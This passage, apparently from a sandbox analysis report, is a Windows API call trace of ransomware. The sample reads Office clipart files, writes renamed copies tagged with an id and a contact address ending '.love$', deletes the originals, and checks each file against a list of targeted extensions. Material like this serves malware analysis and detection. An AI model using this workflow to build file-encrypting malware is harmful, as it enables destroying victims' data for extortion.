nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1f26, lpOverlapped=0x0) returned 1 [0235.709] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1f30, lpOverlapped=0x0) returned 1 [0235.710] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.710] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.711] SetEndOfFile (hFile=0x480) returned 1 [0235.976] CloseHandle (hObject=0x480) returned 1 [0235.978] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.978] SetEndOfFile (hFile=0x44c) returned 1 [0235.981] CloseHandle (hObject=0x44c) returned 1 [0235.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0235.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.983] lstrlenW (lpString=".doc") returned 4 [0235.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.983] lstrlenW (lpString=".docx") returned 5 [0235.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.983] lstrlenW (lpString=".pdf") returned 4 [0235.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.983] lstrlenW (lpString=".xls") returned 4 [0235.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.983] lstrlenW (lpString=".xlsx") returned 5 [0235.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.983] lstrlenW (lpString=".ppt") returned 4 [0235.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.983] lstrlenW (lpString=".zip") returned 4 [0235.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.984] lstrlenW (lpString=".rar") returned 4 [0235.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString=".bz2") returned 4 [0235.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString=".7z") returned 3 [0235.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.984] lstrlenW (lpString=".dbf") returned 4 [0235.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.984] lstrlenW (lpString=".1cd") returned 4 [0235.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.984] lstrlenW (lpString=".jpg") returned 4 [0235.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.984] lstrlenW (lpString=".doc") returned 4 [0235.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString=".docx") returned 5 [0235.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.984] lstrlenW (lpString=".pdf") returned 4 [0235.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.984] lstrlenW (lpString=".xls") returned 4 [0235.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.984] lstrlenW (lpString=".xlsx") returned 5 [0235.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.985] lstrlenW (lpString=".ppt") returned 4 [0235.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.985] lstrlenW (lpString=".zip") returned 4 [0235.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.985] lstrlenW (lpString=".rar") returned 4 [0235.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.985] lstrlenW (lpString=".bz2") returned 4 [0235.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.985] lstrlenW (lpString=".7z") returned 3 [0235.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.985] lstrlenW (lpString=".dbf") returned 4 [0235.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.985] lstrlenW (lpString=".1cd") returned 4 [0235.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0235.985] lstrlenW (lpString=".jpg") returned 4 [0235.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.985] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.985] lstrlenW (lpString="BS00186_.WMF") returned 12 [0235.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.986] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=12788) returned 1 [0235.986] CloseHandle (hObject=0x44c) returned 1 [0235.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0235.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0235.987] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.987] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.988] GetLastError () returned 0x0 [0235.988] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x31f4, lpOverlapped=0x0) returned 1 [0237.717] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3200, lpOverlapped=0x0) returned 1 [0237.718] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.718] WriteFile (in: hFile=0x480, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.719] SetEndOfFile (hFile=0x480) returned 1 [0237.719] CloseHandle (hObject=0x480) returned 1 [0237.719] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.719] SetEndOfFile (hFile=0x44c) returned 1 [0240.128] CloseHandle (hObject=0x44c) returned 1 [0240.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0240.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.130] lstrlenW (lpString=".doc") returned 4 [0240.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.130] lstrlenW (lpString=".docx") returned 5 [0240.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.130] lstrlenW (lpString=".pdf") returned 4 [0240.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.130] lstrlenW (lpString=".xls") returned 4 [0240.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.130] lstrlenW (lpString=".xlsx") returned 5 [0240.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.130] lstrlenW (lpString=".ppt") returned 4 [0240.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.130] lstrlenW (lpString=".zip") returned 4 [0240.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.130] lstrlenW (lpString=".rar") returned 4 [0240.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString=".bz2") returned 4 [0240.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString=".7z") returned 3 [0240.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString=".dbf") returned 4 [0240.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString=".1cd") returned 4 [0240.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString=".jpg") returned 4 [0240.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString=".doc") returned 4 [0240.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString=".docx") returned 5 [0240.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.131] lstrlenW (lpString=".pdf") returned 4 [0240.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString=".xls") returned 4 [0240.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.131] lstrlenW (lpString=".xlsx") returned 5 [0240.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.131] lstrlenW (lpString=".ppt") returned 4 [0240.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.131] lstrlenW (lpString=".zip") returned 4 [0240.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.132] lstrlenW (lpString=".rar") returned 4 [0240.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.132] lstrlenW (lpString=".bz2") returned 4 [0240.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.132] lstrlenW (lpString=".7z") returned 3 [0240.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.132] lstrlenW (lpString=".dbf") returned 4 [0240.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.132] lstrlenW (lpString=".1cd") returned 4 [0240.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0240.132] lstrlenW (lpString=".jpg") returned 4 [0240.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.133] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.133] lstrlenW (lpString="BS01635_.WMF") returned 12 [0240.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.136] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14996) returned 1 [0240.136] CloseHandle (hObject=0x44c) returned 1 [0240.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0240.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.137] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.137] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0240.138] GetLastError () returned 0x0 [0240.138] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3a94, lpOverlapped=0x0) returned 1 [0240.144] WriteFile (in: hFile=0x4e8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0240.145] ReadFile (in: hFile=0x44c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.145] WriteFile (in: hFile=0x4e8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.145] SetEndOfFile (hFile=0x4e8) returned 1 [0240.146] CloseHandle (hObject=0x4e8) returned 1 [0240.146] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.146] SetEndOfFile (hFile=0x44c) returned 1 [0240.149] CloseHandle (hObject=0x44c) returned 1 [0240.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0240.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.151] lstrlenW (lpString=".doc") returned 4 [0240.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.151] lstrlenW (lpString=".docx") returned 5 [0240.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.151] lstrlenW (lpString=".pdf") returned 4 [0240.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.151] lstrlenW (lpString=".xls") returned 4 [0240.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.151] lstrlenW (lpString=".xlsx") returned 5 [0240.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.151] lstrlenW (lpString=".ppt") returned 4 [0240.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.151] lstrlenW (lpString=".zip") returned 4 [0240.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.151] lstrlenW (lpString=".rar") returned 4 [0240.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.151] lstrlenW (lpString=".bz2") returned 4 [0240.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.151] lstrlenW (lpString=".7z") returned 3 [0240.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.152] lstrlenW (lpString=".dbf") returned 4 [0240.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.152] lstrlenW (lpString=".1cd") returned 4 [0240.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.152] lstrlenW (lpString=".jpg") returned 4 [0240.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.152] lstrlenW (lpString=".doc") returned 4 [0240.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.152] lstrlenW (lpString=".docx") returned 5 [0240.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.152] lstrlenW (lpString=".pdf") returned 4 [0240.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.152] lstrlenW (lpString=".xls") returned 4 [0240.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.152] lstrlenW (lpString=".xlsx") returned 5 [0240.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.152] lstrlenW (lpString=".ppt") returned 4 [0240.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.153] lstrlenW (lpString=".zip") returned 4 [0240.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.153] lstrlenW (lpString=".rar") returned 4 [0240.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.153] lstrlenW (lpString=".bz2") returned 4 [0240.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.153] lstrlenW (lpString=".7z") returned 3 [0240.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.153] lstrlenW (lpString=".dbf") returned 4 [0240.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.153] lstrlenW (lpString=".1cd") returned 4 [0240.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0240.153] lstrlenW (lpString=".jpg") returned 4 [0240.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.153] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.153] lstrlenW (lpString="BS01636_.WMF") returned 12 [0240.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.187] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1874) returned 1 [0240.187] CloseHandle (hObject=0x4c8) returned 1 [0240.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0240.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0240.212] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.213] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.214] GetLastError () returned 0x0 [0240.214] ReadFile (in: hFile=0x460, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x752, lpOverlapped=0x0) returned 1 [0240.217] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x760, lpOverlapped=0x0) returned 1 [0240.219] ReadFile (in: hFile=0x460, lpBuffer=0x397c020, 